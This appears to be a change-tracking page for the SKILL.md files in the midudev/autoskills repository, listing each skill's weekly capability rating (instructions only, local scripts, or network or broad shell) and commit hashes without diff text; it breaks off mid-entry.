#210 by GitHub stars
midudev/autoskills
One command. Your entire AI skill stack. Installed.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
packages/autoskills/skills-registry/accessibility/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/adev-writing-guide/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/agents-sdk/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/android-architecture-clean/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/android-compose-foundations/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/android-coroutines-flow/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/android-di-hilt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/android-gradle-build-logic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/android-kotlin-core/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/android-networking-retrofit-okhttp/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/android-testing-unit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/angular-developer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/apply-stack-conventions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/aspnet-core/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/aspnet-minimal-api-openapi/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/astro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/azure-ai/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/azure-deploy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/azure-diagnostics/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/bash-defensive-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/bun/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/chrome-extension-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-android/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-astro-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-backend-api/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-chrome-extension-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-custom-ui/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-expo/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-nextjs-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-nuxt-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-orgs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-react-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-react-router-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-setup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-swift/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-tanstack-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-vue-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/clerk-webhooks/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/cloudflare/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/cloudflare-deploy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/composition-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/containerize-aspnetcore/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/core-data-expert/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/csharp-async/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/csharp-docs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/csharp-mstest/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/csharp-nunit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/csharp-tunit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/csharp-xunit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/dart-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/deploy-to-vercel/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/design-mobile-apps/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/django-expert/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/django-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/django-security/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/dotnet-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/dotnet-design-pattern-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/dotnet-upgrade/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/drizzle/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/durable-objects/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/eas-app-stores/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/eas-hosting/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/eas-workflows/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/elevenlabs-music/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/elevenlabs-tts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/elysia/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/emailAndPassword/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/expo-data-fetching/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/expo-dev-client/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/expo-dom/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/expo-native-ui/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/expo-upgrade/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/fastapi/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/fastapi-python/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/fastapi-templates/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
